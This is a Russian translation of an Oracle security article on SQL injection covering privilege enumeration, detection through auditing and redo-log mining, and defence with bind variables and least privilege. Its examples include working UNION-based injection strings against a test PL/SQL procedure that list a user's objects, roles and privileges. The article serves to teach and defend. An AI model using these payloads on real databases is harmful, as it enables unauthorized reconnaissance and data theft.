Июль/Август 2003


Профессионалу администратору


Питер Фенниган

SQL Injection и Oracle
Часть II

(SQL Injection and Oracle, Part Two,
by Pete Finnigan)

Источник: сайт Pete Finnigan, http://www.securityfocus.com/infocus/1646 , последнее обновление: 28ноября, 2002

Это вторая часть статьи, рассматривающей атаки против баз данных Oracle, с использованием SQL внедрения. В первой части [перевод первой части опубликован в предыдущем номере OM/RE] предложенного обзора по SQL Injection рассматривалось, что является причиной уязвимости приложений баз данных перед этой атакой, а также приводились несколько примеров. Данная часть статьи рассмотрит перечень привилегий, обнаружение атак с SQL Injection и защиту против SQL Injection.

Перечень привилегий

Для злоумышленника, безусловно, неплохо, когда имеется доступ для SQL Injection в базу данных Oracle, но он также старается найти возможность для получения большего преимущества для атаки. Ему, конечно же, необходим перечень того, к чему пользователь имеет доступ, что он может видеть и делать. Здесь я покажу несколько примеров, дабы довести до читателя мысль о возможности этого.

В данном примере мы зашли, как пользователь dbsnmp, и изменили процедуру get_cust, для выбора трех столбцов из нашей тестовой таблицы. Если мы используем UNION для расширения выражения существующего запроса, то новое SQL-выражение в соединении должно выбирать то же количество столбцов, с теми же типами данных, как и у существующего атакованного запроса. В противном случае случится ошибка. Рассмотрим следующее:

SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');

 debug:select customer_phone,customer_forname,customer_surname from customers
 where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
 -1789ORA-01789: query block has incorrect number of result columns

Основной запрос содержит три varchar-столбца, а мы выбираем два столбца, к тому же один из них имеет тип number; в результате, получаем ошибку. Возвращаясь к приведенному выше перечню, первое, что необходимо, - получить наименования объектов, которые может видеть тот пользователь, под именем которого мы получили доступ:

SQL> exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
 ects where ''x''=''x');

 debug:select customer_phone,customer_forname,customer_surname from customers
 where customer_surname='x' union select object_name,object_type,'x' from
 user_objects where 'x'='x'
 ::CUSTOMERS:TABLE:x
 ::DBA_DATA_FILES:SYNONYM:x

 ::DBA_FREE_SPACE:SYNONYM:x
 ::DBA_SEGMENTS:SYNONYM:x
 ::DBA_TABLESPACES:SYNONYM:x
 ::GET_CUST:PROCEDURE:x
 ::GET_CUST2:PROCEDURE:x
 ::GET_CUST_BIND:PROCEDURE:x
 ::PLSQ:DATABASE LINK:x  

Затем получаем роли, которые явно представлены пользователю:

SQL> exec get_cust('x'' union select granted_role,admin_option,default_role from

 user_role_privs where ''x''=''x');

 debug:select customer_phone,customer_forname,customer_surname from customers
 where customer_surname='x' union select granted_role,admin_option,default_role
 from user_role_privs where 'x'='x'
 ::CONNECT:NO:YES
 ::RESOURCE:NO:YES
 ::SNMPAGENT:NO:YES

Затем находим системные привилегии, которые явно представлены пользователю:

SQL> exec get_cust('x'' union select privilege,admin_option,''X'' 

    from user_sys_privs where ''x''=''x');

 debug:select customer_phone,customer_forname,customer_surname from customers
 where customer_surname='x' union select privilege,admin_option,'X' from
 user_sys_privs where 'x'='x'
 ::CREATE PUBLIC SYNONYM:NO:X
 ::UNLIMITED TABLESPACE:NO:X 

Выбор строк из таблицы USER_TAB_PRIVS выдаст привилегии, явно представленные пользователю на объекты. Существует много системных представлений, названия которых начинаются с USER_%, они показывают объекты и привилегии, которые представлены текущему пользователю. Например, существуют 168 представлений или таблиц в Oracle 8.1.7, на основе чего можно сделать вывод о количестве сведений, которые могут быть получены о пользователе, под которым вы получили доступ. Данные USER_% представлений не включают все множество привилегий и опций, доступных текущему пользователю. Например, кроме специальных разрешений, любой пользователь имеет доступ к объектам, на которые выданы разрешения роли PUBLIC.

PUBLIC - это вместилище всего, что доступно всем пользователям в базе данных Oracle. Существует большой набор представлений, известных как ALL_% представлений, которые похожи по конструкции на USER_% представления. Они включают любой предмет, доступный пользователю, включая роль PUBLIC. Хороший пункт для начала исследования - представление ALL_OBJECTS, так как оно имеет структуру, похожую на представление USER_OBJECTS, и отображает каждый объект и его тип, доступный текущему пользователю. Вот, например, хороший запрос, чтобы увидеть количество всех доступных объектов, их типы и владельцев:

select count(*),object_type,owner

 from all_objects
 group by object_type,owner 

Представления V$ - тоже хороший набор представлений, при условии, что они доступны пользователю. Они дают информацию о текущем экземпляре, характеристиках, параметрах и пр. Например, V$PARAMETER, которое дает все параметры инициализации экземпляра, взять хотя бы параметр UTL_FILE. V$PROCESS и V$SESSION - другая пара представлений, которые дают подробные сведения о текущих сессиях и процессах. Они расскажут пользователю, кто имеет текущее соединение с базой, откуда они установили это соединение, что за программу они используют и т.д.

В заключение этого исследовательского раздела нужно отметить то, что я старался привести простые примеры, что бы любой исследователь, имеющий копию СУБД Oracle, мог бы их попробовать. Я использовал PL/SQL-процедуру, чтобы продемонстрировать технику и, очевидно, я имел доступ к моему исходному коду. Следовательно, для меня было легко точно понять, какой SQL-запрос я мог бы успешно послать, не вызывая ошибок.

В реальном мире, в веб-среде или в сетевых приложениях исходный код, вероятно, может быть недоступен. Как результат, создание успешного SQL-запроса для посылки, скорее всего, потребует испытаний и ошибок. Если ошибочное сообщение возвращается пользователю или прямо из СУБД Oracle, или из приложения, тогда обычно можно понять, как необходимо изменить SQL. Отсутствие ошибочных сообщений делает это более сложным, но не невозможным. Все ошибки Oracle достаточно хорошо документированы и доступны on-line на Unix-системах с командой oerr или с HTML-документацией, поставляемой с Oracle CD для любой платформы. (Помните, любой может получить копию Oracle для обучения продукту.) Они так же доступны on-line, вместе с полной Oracle документацией, на http://tahiti.oracle.com/.

Наличие знаний по Oracle и по схеме данных, которую использует пользователь, являются уже довольно хорошим преимуществом. Очевидно, эти знания не сложны для изучения, и суть в том, что любой имеет возможность внедрить SQL Injection в вашу базу данных, и, следовательно, вам необходимо минимизировать то, к чему они смогут получить доступ, что они в состоянии сделать или увидеть.

Нахождение SQL Injection

Oracle - это большой продукт и может быть использован по-разному. И утверждать, что SQL Injection будет найдено, было бы ошибочно; тем не менее, в некоторых случаях, администратор БД или администратор безопасности так или иначе может распознать, как эта техника была использована. Если злой умысел с использованием Injection имел место быть, тогда криминалистические исследования можно провести с использованием redo журналов. GUI-инструмент, называемый Log Miner, доступен в Oracle и разрешает использовать redo-журналы для анализа. Тем не менее, он имеет серьезные ограничения: до версии 9i выражения select не могут быть получены. Журналы redo logs разрешают Oracle проиграть все события, которые изменили данные в базе данных, поскольку это часть функциональности восстановления. Можно увидеть все выражения и данные, которые были изменены. Доступны два стандартных PL/SQL-пакета: DBMS_LOGMNR и DBMS_LOGMNR_D. Эти пакеты разрешают опрашивать redo-журналы из командной строки для всех выполненных выражений.

Широкая функциональность аудита Oracle может быть полезной, но только в том случае, если вы знаете, что ищите. Нахождение улик SQL Injection сравнимо с поиском иголки в стоге сена. Принцип наименьших привилегий должен быть использован в любой базе данных Oracle так, чтобы только те привилегии, которые действительно необходимы, были выданы пользователям приложений базы данных. Это минимизирует действия, которые могут быть легально выполнены, и как результат, делает любые действия вне границ этих пользователей более легкими для обнаружения. Например, если пользователь приложения должен иметь доступ к семи таблицам, трем процедурам и ни к чему более, то аудит Oracle запишет неудачный select к всем другим таблицам и позволит обнаружить любые попытки доступа к таблицам за пределами сферы приложения. Это может быть выполнено, например, для некоей таблицы следующей командой:

SQL> audit select on dbsnmp.customers by access whenever not successful;
 Audit succeeded.

Можно создать простой скрипт для генерации выражений аудита к необходимым таблицам. Каких-либо значительных проблем с производительностью возникнуть не должно, так как другие таблицы использоваться приложением не будут. Конечно, если кто-нибудь получил доступ к таблице за пределами области контроля, это не будет отражено в журнале. Указанное решение предполагается лишь как первый шаг.

Те же принципы могут быть использованы для DDL-аудита и неудачных или успешных попыток DML-операций. Новое SANS руководство (см. ссылки) содержит целую главу по аудиту.

Следующая идея состоит в том, что бы помотреть выполненные SQL-предложения и отыскать любые измененные SQL. Хороший скрипт, называемый peep.sq, может быть использован для получения выполненных SQL из SGA экземпляра. Указанный скрипт доступен на http://www.oriole.com/frameindexSA.html. Найти и получить его можно в разделе свободно доступных сценариев. Скрипт находит SQL-выражения в SGA с наихудшими характеристиками времени. Его можно легко изменить удалением ограничения времени исполнения, чтобы возвращать все SQL-выражения, находящиеся в SGA. Также этот скрипт может быть внесен в список регулярных задач, а полученные SQL-выражения использовать для “предположения” наличия SQL Injection, если они были предприняты. Я сказал “предположение” потому, что фактически невозможно знать все легальные части SQL, которые создает приложение. Тоже можно сказать о нелегальных частях. Первым хорошим шагом могла бы быть идентификация выражений, включающих “union” или ‘x’=’x’. Однако следует учесть, что при регулярном извлечении всех SQL-выражений из SGA может уменьшиться производительность базы!

Безусловно, лучше предупредить болезнь, чем лечить!

Защита против SQL Injection

На первый взгляд, защита против SQL Injection может показаться легкой для выполнения, но при ближайшем рассмотрении все не так просто как кажется. Решения распадаются на две различных области:

  • Не разрешать динамический SQL, который использует конкатенацию, или, по крайней мере, фильтровать входящие значения и проверять на специальные символы, такие как символы кавычек.
  • Использовать принцип наименьших привилегий и гарантировать то, что пользователь, созданный для приложения, имеет только необходимые привилегии, а все дополнительные привилегии (такие как, роль PUBLIC) не доступны.

Здесь мы не можем вдаваться в детали. Такое обсуждение само по себе составило бы отдельную большую статью. Тем не менее, обычные простые мероприятия могут быть выполнены. Эти действия разделяются на два раздела:

  • Просмотр исходного кода приложений. Код может быть написан на многих языках, таких как: PHP, JSP, java, PL/SQL, VB и т.д., решения могут варьироваться. Тем не менее, они все следуют похожей модели. Просмотреть исходный код динамического SQL, где использована конкатенация. Найти вызов, который разбирает SQL или исполняет его. Проверить, где были введены значения. Убедиться, что введенные значения действительны (корректны), кавычки подходят и метасимволы проверены. Просмотр исходного кода – задание, специфичное к использованному языку.
  • Обезопасить базу данных и гарантировать, что все избыточные привилегии изъяты.

Вот некоторые дополнительные рекомендации:

  • Если возможно, не используйте динамический PL/SQL. Возможность потенциального повреждения при этом значительно больше, чем для динамического SQL, так как существует больше возможностей для выполнения любых SQL (DDL, DML, PL/SQL и т.д.)
  • Если динамический PL/SQL необходим, тогда используйте переменные привязки.
  • Если PL/SQL все же применяется, то используйте AUTHID CURRENT_USER таким образом, чтобы PL/SQL запускался под вошедшим в систему пользователем, а не под создателем процедуры, функции или пакета.
  • Если конкатенация необходима, тогда используйте числовые значения для конкатенации таким образом, чтобы строки не могли быть переданы в добавочный SQL.
  • Если конкатенация необходима, тогда проверяйте входные данные на злонамеренный код, т.е. проверяйте на union в переданных строках или метасимволы, такие как кавычки.
  • Для динамического SQL, если он необходим, используйте переменные привязки.

Пример представлен ниже:

Во-первых, необходимо изменить нашу процедуру разрешить использования переменных привязки в динамической части. Это показано здесь:

create or replace procedure get_cust_bind (lv_surname in varchar2)
 is
     type cv_typ is ref cursor;
     cv cv_typ;
     lv_phone    customers.customer_phone%type;
     lv_stmt     varchar2(32767):='select customer_phone '||
                 'from customers '||
                 'where customer_surname=:surname';
 begin

     dbms_output.put_line('debug:'||lv_stmt);
     open cv for lv_stmt using lv_surname;
     loop
         fetch cv into lv_phone;
         exit when cv%notfound;
         dbms_output.put_line('::'||lv_phone);
     end loop;
     close cv;
 exception
     when others then
         dbms_output.put_line(sqlcode||sqlerrm);
 end get_cust_bind;
 /    

Сначала исполняем с настоящим значением, в данном случае “Clark”, чтобы показать, что возвращаются корректные записи. Мы тогда можем попробовать сделать SQL Injection и обнаружить, что она не работает:

SQL> exec get_cust_bind('Clark');
debug:select customer_phone from customers where customer_surname=:surname

::999444888
::999777888
 PL/SQL procedure successfully completed.
SQL> exec get_cust_bind('x'' union select username 
        from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname=:surname

Несколько дополнительных подсказок:

  • Шифруйте данные, так что бы их нельзя было просмотреть.
  • Отнимите все PUBLIC-привилегии, где это возможно, из базы данных
  • Не разрешайте доступ к UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP или любым стандартным пакетам или пакетам приложений, которые разрешают доступ к O/S.
  • Измените пароль базы данных по умолчанию.
  • Запустите листенер (listener) под непривилегированным пользователем.
  • Убедитесь, что пользователям приложений разрешен минимум привилегий.
  • Ограничьте PL/SQL-пакеты, которые могут быть доступны из apache.
  • Уберите все примеры скриптов и программ из мест, куда они инсталлированы по умолчанию.

Завершающие мысли

Надеюсь, эта статья дала обзор некоторых возможностей SQL Injection в Oracle и большинство читателей смогли попробовать приведенные простые примеры. SQL Injection является относительно простой техникой, и защита против нее, следовательно, могла бы быть простой. Тем не менее, задача не так тривиальна ни в отношении проверки на защиту всего исходного кода динамического ввода, ни со стороны уменьшения разрешений всех приложений пользователей в самой базе данных. Будьте бдительны, выдавайте только то, что действительно необходимо, и постарайтесь свести использование динамического SQL к минимуму.


Питер Финнеган - независимый консультант, специализирующийся в Oracle и безопасности Oracle. Питер сейчас работает в в Финансовом секторе ВБ и ранее выполнил новый Oracle security step-by-step guide для института SANS . Питер имеет многолетний опыт разработки и опыт администрирования в различных языках и является одним из ведущих мировых специалистов по безопасности Oracle.

E-mail this page